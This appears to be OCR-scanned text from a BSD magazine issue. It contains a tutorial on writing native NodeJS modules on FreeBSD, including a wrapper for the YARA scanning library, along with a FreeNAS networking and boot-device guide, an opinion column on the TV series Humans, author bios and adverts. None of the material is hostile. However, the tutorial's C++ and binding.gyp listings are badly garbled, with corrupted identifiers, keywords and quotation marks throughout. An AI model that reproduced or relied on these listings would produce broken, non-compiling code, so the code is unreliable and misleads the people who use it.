

And that’s it! Try to read the data from the newly created 
JSON file, so that you get the hang of it... 


My name is Rui Silva and I’m a Python developer who loves open 
source. | started working as a freelancer in 2008, while | finished 
my graduation in Computer Science in Universidade do Minho. Af- 
ter my graduation, | started pursuing a master’s degree, choosing 
the field of parallel computation and mobile and ubiquitous com- 
puting. | ended up only finishing the mobile and ubiquitous com- 
puting course. In my 3 years of freelancing, | worked mostly with py- 
thon, developing django websites, drupal websites and some ma- 
gento stores. | also had to do some system administration. After 
that, | started working in Eurotux Informatica, S.A. where | develop 
websites using Plone, django and drupal. I'm also an IOS developer 
and sometimes | perform some system administration tasks. Besides 
my job, | work as a freelancer using mainly django and other python 
frameworks. 
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Part 2 


NodeJS and FreeBSD - 


Previously, we’ve seen how to build NodeJS from the 
sources in FreeBSD with minor source code changes. 
This time, we'll have an overview of the application's 


build process. 


nodejs’ application in pure Javascript. However, it’s 
also possible to build an application natively in C/ 
C++. It is exactly what we're going to see ... 


yT here are numerous excellent tutorials to build a 


NodeJs application structure 

We only focus on the modern way to build a native appli- 
cation. Before, we had to do a node-waf package via a Py- 
thon script. It was deprecated and replaced by node-gyp. 
This is a basic gyp project structure : 


<project folder> 
==> binding.dyp 


--> <C++ source code> 


A binding.gyp file describes the source code to compile, 
the package name, eventually the necessary compila- 
tion/linker flags ... Let’s start with an usual Hello world’s 
example, quite FreeBSD. 


Hello world 
First, we need an entry point, an initializer from which we 
will export our functions to nodejs ... 


void Init (Handle<v8::Object> exports) 


{ 
} 
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And to register our module ... 


NODE MODULE (freebsdmod, Init) => Note that there is no 


need of a comma after this macro 


Very well, but for the moment our module is not useful 
yet, we would need at least one feature. 

Let’s imagine a simple random function which uses, in- 
ternally, one of our arc4random family function ... a func- 
tion which will be called from a nodejs script ... The signa- 
ture of this function would be. 


void Random(const v8::FunctionCallbackInfo<v8::Value> &); 


We can imagine, that, from the nodejs script, we would 
like to provide a max value limit as unique argument ... 
#include <stdlib.h> 


#include <node.h> => includes both node and v8 structures 


uSing namespace v8; 


void Random(const FunctionCallbackInfo<Value> &args) 

{ 
Isolate *isolate = Isolate::GetCurrent(); => Here, we 
get the current v8 engine instance 


unsigned long value = 0; 
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if (args.Length() != 1) 
isolate->ThrowException (Exception: :TypeError ( 
String: :NewFromUtf8 (isolate, ,Needs an argument”))); 
if (args[0]->IsNumber()) => the arguments are 
conveniently wrapped, we have access to the caller 
arguments 
value = static _cast<unsigned long>(argc4random_ 
uniform(args[0]->NumberValue()); 
else 
isolate->ThrowException (Exception: :TypeError ( 
String: :NewFromUtf8 (isolate, ,The argument is 


not a number”))); 


args.GetReturnValue() .Set (Number: :New(isolate, 


value) ); 


void Init (Handle<Object> exports) 


{ 
NODE SET METHOD(exports, ,random”, Random); => We 


finally export our Random function here 


Now, let’s have a look a the binding.gyp file ... 


,wvcargets”: [ 
{ 

wearget. name”; _,freebsdmod”, => represents the tame 
of our module 


,sources”: [,freebsdmod.cc” | 


Simply, as it is, it is sufficient for this first example. Now, 
we can compile our module ... 


> node-gyp configure 


> node-gyp build 
We can now test with a simple nodejs script. 


var fmod = require(,./build/Release/freebsdmod’ ) ; 
var rnd = fmod.random((1024 * 1024)); 


console.log(rnd); => Should print a significant numerical value 


Wrapped objects 
Apart of making atomic C++ functions to export, we 
have also the possibility to handle more complex cases, 
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by making wrapped node objects. For this example, let’s 
use yara library, the malware’s tool. The binding.gyp file 
would look like this ... 


plrargece” > || 

{ 
,target name”: ,yaranode”, 
vsources”: [,yaranode.cc”], 

winclude dirs”: [,/usr/local/include”], 


wlibraries”: [,=bL/usr/local/1ib”, ,-lyara”™ | 


A wrapped object must inherit ObjectWrap class. 


#ifndef YARANODE H 
#define YARANODE H 


#include <yara.h> 


#include <node.h> 


#include <node object wrap.h> 


Static void addrulecb(int, const char *, int, const char 

wy MOL. * ce 
class YaraNode : public node::ObjectWrap { 
private: 

YR COMPILER *yc; 

int yrrules; 

explicit YaraNode(); 


~YaraNode(); 


static void New(const v8::FunctionCallbackInfo<v8::Va 
lue>&) ; 
static v8::Persistent<v8::Function> constructor; => 
Contrary to the Local handles, a Persistent storage is 
independent of any HandleScope, valid until cleared 
static void AddRule(const v8::FunctionCallbackInfox<v8: 
:Value>&); 
static void ScanFile(const v8::FunctionCallbackInfox<v8: 
:Value>&); 

public: 
static void Init(v8::Handle<v8::Object>) ; 
Static Ife yrstactus, 


ee 


The Persistent storage will serve us for the YaraNode 
initialisation from within the Nodejs entry point 
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#include ,yaranode.h” 
uSing namespace v8; 


void addrulecb(int error, const char *, int line, 
const char *message, void *pprivate) { 
Isolate *isolate = Isolate::GetCurrent (); 
if (message) 
isolate->ThrowException (Exception: :TypeError (Strin 
g::NewFromUtf8 ( 


isolate, message))); 


Persistent<Function> YaraNode::constructor; 


YaraNode::YaraNode() { 
yrstatus = yr initialize(); 
if (yrstatus == ERROR. SUCCESS) 4 
yr compiler create (&yc); 


yr compiler set. callback{yc, -addrulech,. NULL); 


YaraNode::~YaraNode() { 
if (yrstatus == ERROR SUCCESS) { 
yr compiler destroy(yc); 


yr finalize () 7 


void YaraNode::New(const FunctionCallbackiInfo<Value> 
&args) { 
Isolate *isolate; 
Local<Function> ctor; 
isolate = Isolate::GetCurrent (); 
HandleScope scope(isolate); => A HandleScope is 


responsible for all following local handles allocations 


if (args.IsConstructCall()) { => var yr = new 
YaraNode(); 
YaraNode *ynode = new YaraNode(); 
if (ynode->yrstatus != ERROR SUCCESS) 
isolate->ThrowException (Exception: :TypeError ( 
String: :NewFromUtf8 (isolate, ,yara could 


not be instantiated”))); 


ynode->Wrap (args.This()); => Here we wrap our 
YaraNode and can be unwrap as will as we’ll see slighty 
later 

args.GetReturnValue().Set(args.This()); => We 


return basically the wrapped yaranode object to the 
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javascript caller 
} else { => YaraNode called as classic function 

ctor = Local<Function>::New(isolate, constructor); 
=> We use here our persistent storage to instantiate 
our YaraNode instance 


args.GetReturnValue() .Set (ctor->NewInstance()); 


void YaraNode::AddRule(const FunctionCallbackInfo<Value> 
&args) { 
Isolate *isolate; 


int yro = 0; 


isolate = Isolate::GetCurrent (); 
HandleScope scope(isolate) ; 
YaraNode *ynode = ObjectWrap: :Unwrap<YaraNode> (args. 
Holder()); => Here we unwrap to access a YaraNode 
object field 
if (args.Length() > 0) { 
Int. iy 2 
for (1 = 0; 1 < args.Length(); 1 ++) { => addRule 
method, from nodejs script, is called like this 
addRule (<rulel>,..<,;<rulen>)? 
Lt (args [1)|—->leString()) 4 
const char *rule; 
SLring: UCT eValue rrstr (args (1 )|= 
eTOocCEing ())5 
rule = *rrstr; 


r= yr-compiler add string (ynode->yc, 


if (xr == 0) 
ynode->yrrules ++; 


yre += YL; 


args.GetReturnValue() .Set (Number: :New(isolate, yrc)); 


void YaraNode::ScanFile(const FunctionCallbackInfo<Value>& 
args) { 
Isolate *isolate; 


int yrscan = 0; 


isolate = Isolate: :GetCurrent (); 

HandleScope scope(isolate) ; 

YaraNode *ynode = ObjectWrap: :Unwrap<YaraNode> (args. 
Holder()); 

if (args.Length() == 1 && args[0]->IsString()) { 
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YR RULES *rules =-0; 
const char *filepath; 
if (ynode->yrrules > 0 && 
yr compiler get rules(ynode->yc, &rules) == 
ERROR SUCCESS) { 
String::Utf8Value fstr(args[0]->ToString()); 
filepath = *fstr; 
yrscan = yr rules scan tile(rules, tilepath, 0; 


NULL, NULL, 10); 


args.GetReturnValue() .Set (Number: :New(isolate, 


yrscan)); 


void YaraNode::Init (Handle<Object> exports) { 
Local<FunctionTemplate> temp; 


Isolate *isolate; 


isolate = Isolate::GetCurrent (); 

temp = FunctionTemplate::New(isolate, New); 
temp->SetClassName (String: :NewFromUtf£8 (isolate, 
nwvaraNode”)); => From within a nodejs script, the class 
will have this name, we could have named it differently 
if necessary 


temp->InstanceTemplate () ->SetInternalFieldCount (2) ; 


NODE SET PROTOTYPE METHOD (temp, ,addRule”, 
YaraNode::AddRule); => As the single functions with 
NODE SET METHOD, we expose our methods via this macro 
NODE SET PROTOTYPE METHOD (temp, ,scanPile”, 


YaraNode::ScanFile); 


constructor.Reset (isolate, temp->GetFunction()); => 
We clear the Persistent storage for each YaraNode 
instantation 

exports->Set (String: :NewFromUtf8 (isolate, ,YaraNode”), 


temp->GetFunction()); 
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void YaraInit (Handle<Object> exports) { 


YaraNode::Init (exports) ; 


NODE MODULE (yara, YaralInit) 
We could test this module via this simple nodejs script ... 


var sm = require(,./build/Release/yaranode’ ) ; 


var yr = new sm.YaraNode(); 


try { 


var c = yr.addRule(“<rule 1>",...); 
var s = yr.scanFile(“<file path>”); 


} catch (ex) { 


console.log(ex); 


This is a simple example and can of course be great- 
ly improved but that might give you some ideas about 
the possibilities. On several Known repositories, there 
is already a significant number of native nodejs projects 
which use some popular components (like node geoip 
for example). | hope this article is able to motivate you 
enough to start building your own nodejs modules. 


David Carlier has been working as a software developer since 2001. 


He used FreeBSD for more than 10 years and starting from this year, 
he became involved with the HardenedBSD project and performed 
serious developments on FreeBSD. He worked for a mobile product 
company that provides C++ APIs for two years in Ireland. From this, 
he became completely inspired to develop on FreeBSD. 
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A Complete 


Guide to FreeNAS ~ 
Hardware Design, 


Part IV: Network Notes & Conclusion 


Network 

FreeNAS is a NAS and/or IP-SAN (via iSCSI)...which 
means everything happens over the network. If you are 
after performance, you are going to want good switch- 
es and server grade network cards. If you are building 
a home media setup, everything might be happening 
over wireless, in which case network performance be- 
comes far less critical (there really is a difference in per- 
formance between a Cisco 2960G or Juniper EX4200 


and a Netgear or Dlink! This difference becomes more 
pronounced if you are doing vians, spanning tree, jumbo 
frames, L3 routing, etc). 

In the current landscape, gigE networking is nearly 
ubiquitous and 10Gbe networking is expensive enough to 
keep it out of the hands of many home and small busi- 
ness setups. If you have a number of users and appropri- 
ate switch gear, you can benefit from aggregating multiple 
gigE network connections to your FreeNAS box. Modern 
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hard drives approach, 
and oftentimes exceed, 
the performance of gigE network- 
ing when doing sequential reads or writes. Modern SSDs 
exceed gigE networking for sequential or random read/ 
write workloads. This means that — on the low end — a 
FreeNAS system with a 3 drive RAIDZ pool and a sin- 
gle gigE network connection can hit a bottleneck at the 
network for performance, since the volume will be able to 
read or write sequentially at 200+ MB/sec and the network 
will be limited to ~115MB/sec. If your application is IOPs 
bound instead of bandwidth bound (such as a database or 
virtualization platform), and your storage is comprised of 
spinning disks, you might find that a single gigE connec- 
tion is sufficient for a dozen or more disks. 

Intel NICs are the best game in town for Gigabit net- 
working with FreeNAS. The desktop parts are fine for 
home or SOHO use. If your system is under-provisioned 
for CPU or sees heavy usage, the server parts will have 
better offload capabilities and correspondingly lower CPU 
utilization. Stay away from Broadcom and Realtek inter- 
faces if and when possible. 

In the Ten Gigabit arena, Chelsio NICs are hands down 
the best choice for FreeNAS. There’s a significant pre- 
mium for these cards over some alternatives, so second 
and third choice would be Emulex and Intel (In that order). 
FreeNAS includes drivers for a number of other 10Gbe 
cards but these are largely untested by the FreeNAS de- 
velopers. 


Fibre Channel 

Options here are very limited. Qlogic is pretty much the 
only game in town. The 16Gb parts do not have a driver 
yet and the 1Gb parts are no longer supported, so you'll 
be limited to the 8Gb, 4Gb and 2Gb parts. Fiber initiator 
mode works out of the box, and the “easter egg” to enable 
Target mode is well documented and tested. 


Boot Devices 

FreeNAS was originally designed to run as a read-only 
image on a small boot device. The latest versions now 
run read/write using ZFS. A SATA DOM or small SSD is 
a great boot device for the latest versions. Since ZFS is 
used, the boot device itself can be mirrored. As an alter- 
native to a SATA DOM or SSD, one or more high quality 
USB sticks can be used. As an absolute minimum, the 
boot device must be 4GB, however 8GB is a more com- 
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fortable and recommended mini- 
mum. Beyond 16GB in size, the 

space will be mostly unused. 

Since the boot device can’t be 
used for sharing data, installing 
FreeNAS to a high capacity hard 
drive is not recommended. 


Conclusion 

Hardware configuration is one of 
the most prominent and active cat- 
egories in the FreeNAS forum. | have 
attempted to share some best practices 
that we at iXsystems have seen over 
the years and | hope that | have not 
missed anything big. With so many 
options and use cases, it’s difficult to 
come up with a set of one-size-fits-all 
instructions. Some other tips if you 

get stuck: 


1. Search the FreeNAS Manual for 
your version of FreeNAS. Most 
questions are already answered 
in the documentation. 

2. Before you ask for help on a spe- 
cific issue, always search the fo- 
rums first. Your specific issue may 
have already been resolved. 

3. If using a web search engine, include the 
term “FreeNAS” and your version number. 


As an open source community, FreeNAS relies on 

the input and expertise of its users to help improve it. 
Take some time to assist the community; your contribu- 
tions benefit everyone who uses FreeNAS. 

To sum up: FreeNAS is great—l’ve used it for many 
years and we have several instances running at iXsys- 
tems. | attempted to provide accurate and helpful advice 
in this post and as long as you follow my guidance, your 
system should work fine. If not, feel free to let me know. I’d 
love to hear from you. 


iXsystems Director of IT 
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Channel 4 television in the UK (In association 
with AMC) is currently running an innovative 
marketing campaign for Persona Synthetics, 
a trailer to launch the new TV series, 
Humans. This Sci-Fi drama is set in a world 
where a lifelike robotic servant - a ‘synth’ - is 
the latest craze. ls humanity ready? 


egular readers of this column will by now realise 
R that one of the topics known to most easily raise 

my blood pressure beyond safe limits is the “big 
disconnect” — this gaping chasm of misunderstanding and 
values between society, leadership, management and the 
practitioners and guardians of technology at the coal face. 
The smooth advertising campaign for Humans so pene- 
trated the nation’s psyche that people were Googling the 
subject almost in a state of panic — very much like the 
knee-jerk response to the BBC broadcast in 1938 of War 
of the Worlds where the public were outraged by the au- 
thenticity of the program believing that the earth was be- 
ing invaded by Martians. So maybe | am not alone in this 
perception. 


| must admit | was intrigued by the campaign, and if it 
wasn't for my tacit understanding of Channel 4 being 
a creative and innovative broadcaster, and my grasp of 
where we are at technology wise, | could have quite easily 
fallen for the plot hook, line and sinker. Without that back- 
ground however, it would have scared the living daylights 
out of me. | would be surprised if a few telephone calls 
were not logged against this advert by the emergency ser- 
vices, and in our so typically understated British way, no 
doubt someone will submit a written complaint to the Ad- 
vertising Standard Authority. 
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The whole subject of trans-humanism and cyborgs 
is fraught with idealistic ladders and ethical snakes as it’s 
sallies forth into philosophical and spiritual territory. Does 
man have a soul? Are computers moral beings? The best 
starting point | believe is indeed ethics, as another section 
of society has historically managed to deal relatively ma- 
turely, albeit rather opaquely, with similar questions — the 
medical fraternity. The whole gamut of what we can add to 
or remove from our bodies in way of transfusions, trans- 
plants or surgery has pretty much been thrashed out by 
ethics committees by now, and there are few people who 
would refuse on medical or ethical grounds a replacement 
human kidney or a blood transfusion. 


With advances in medical science, the jury is still out as 
far as to where the exact boundaries lie, but the first “of- 
ficial” human head transplant is due to be performed in 
2017. The first attempt was made on a monkey in 1954 
by Vladimir Demikhov only 22 years after the movie Fran- 
kenstein was released and only 9 years after the close 
of the Second World War where some 70 illegal medi- 
cal research programs were carried out in the Nazi death 
camps. Having a rather tarnished view of the ability of the 
Military Industrial Complex to be open, honest and trans- 
parent leads me to suspect that a successful transplant 
may have already occurred behind the thick velvet curtain 
of public perception. 
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While there are those that would categorise Demikhov 
as a “Mad scientist’, in all probability if he had performed 
his ground-breaking surgery in the West rather than be- 
hind the Iron Curtain, he may well have been féted for 
a Nobel peace prize, ironically an honour conceived by the 
inventor of dynamite. Truth is indeed stranger than fiction. 
But as always, it is not the technology (or in this case the 
chemistry) that is of interest, but how it is applied and who 
has control. If we are honest with ourselves, the Western 
business model is not the ideal basis for research and 
development as the return on investment may be spec- 
tacular if a nugget of gold is found, but in the majority of 
cases all the investor is left with after considerable sifting 
is dirt. It is no wonder then that the major advances take 
place off the radar, being funded either by major corpora- 
tions or a combination of the government and the military. 
And this leaves us with a problem — he who pays the piper 
chooses the tune, and when you have a project with such 
a large geopolitical footprint, you can comfortably bet the 
intellectual property is not going to be made Open Source 
any time soon for the benefit of all. 


Maybe | am getting old, but the last time | heard of se- 
rious investment in a project that could benefit mankind 
on a global scale was the space race during the cold war. 
Kennedy, spooked by the Russian advances with Sputnik 
and the Luna 2 unmanned mission to the moon, initiat- 
ed the Apollo program which led to the first man stepping 
forth onto lunar soil. Without doubt, this was driven by the 
tensions of the cold war but in a perverse way the oppos- 
ing factions managed somehow to reach equilibrium and 
we now have an International Space Station. While space 
as a domain is very much in control of the military, there 
are some advances with public companies looking to of- 
fer charter flights in the future at least to the edge of the 
atmosphere of the earth e.g. Virgin etc. It is unlikely in our 
lifetime that we will discover the full panoply of what is re- 
ally has been going on up there for the past 50 years — 
we do however have but a very small clue with the “Star 
wars’ program. 


As a technologist, I'll be flippant for a moment and admit 
| would love to have a personal cyborg help me around 
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the house. The idea has been mooted since the 1960’s, 
the era of my birth so | hope | may be forgiven. Provided 
there is a strong ethical boundary (Do no evil) as stat- 
ed in previous articles, | would have no problem with this 
if there was an effective “kill switch”. Going on past his- 
tory though, and as a human being, | seriously have my 
doubts. We have yet to deal effectively with Spam, Trolls, 
Kiddie Porn and Hackers and that is just at the Internet 
layer. The Middle East is a bloodbath, Africa despite 50 
years of intervention is still a cesspit of conflict and pov- 
erty, the USA, Europe and Russia have yet to resolve their 
political and idealistic differences, and that is even before 
we bring other developing nations to the table. Japan and 
China, having embraced technology from a very differ- 
ent ethical and philosophical perspective than the West, 
| would suggest, have the best chance of surviving the 
cultural and ethical tsunami that this technology presents 
with any significant degree of benevolence. It would be 
much better though for humanity if we all got around the 
table and sorted out issues like food, clean water and pov- 
erty — and then concentrated on the technological infra- 
structure. As a race, we still haven't managed to deal with 
the impact of the AK47 — one of the cheapest, most widely 
available and effective pieces of killing technology of our 
age. This does not inspire confidence. If the series proves 
to be as powerful as the realistic advertising campaign 
and trailers, hopefully this will open the doors to some ra- 
tional debate as to where exactly technology should sit 
ethically — and as a priority — in our vulnerable world. 


The series will be available in the UK on Channel 4 
from the 14” of June 2015 and in the USA on AMC from 
the 28" of June 2015. 


Rob Somerville has been passionate about technology since his ear- 
ly teens. A keen advocate of open systems since the mid-eighties, he 
has worked in many corporate sectors including finance, automo- 
tive, airlines, government and media in a variety of roles from tech- 
nical support, system administrator, developer, systems integrator 
and IT manager. He has moved on from CP/M and nixie tubes but 
keeps a soldering iron handy just in case. 
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The New App Model vaScript and jQuery e Office Graph & Delve Web Part 
Development Responsive Web Design Client-Side Development 
App and Workflow Customization SPServices © The Content Query Web Part | 
SI Developers ¢ | 2-Page Apps e AngularJS and reac’ 


HTML5 and CSS Developing an Intranet 
Of ) Business Connectivity Service 
acured Wel rvices Solutions Versioning ; ysrading Features e The Content Search 
Web Part e The Evolution of SharePoint Event Receivers 7 alabil 
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SPTechCon™ is a trademark of BZ Media LLC. SharePoint® is a registered trademark of Microsoft. 


Check out the program at www.sptechcon.com/devdays 
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CISCO SYSTEMS INC. 


Titania's award winning Nipper Studio configuration 
auditing tool is helping security consultants and end- 
user organisations worldwide improve their network 
security. Its reports are more detailed than those typically 
produced by scanners, enabling you to maintain a higher 
level of vulnerability analysis in the intervals between 
penetration tests. 


Now used in over 65 countries, Nipper Studio provides a 
thorough, fast & cost effective way to securely audit over 
100 different types of network device. The NSA, FBI, DoD 
& U.S. Treasury already use it, so why not try it for free at 
www.titania.com 
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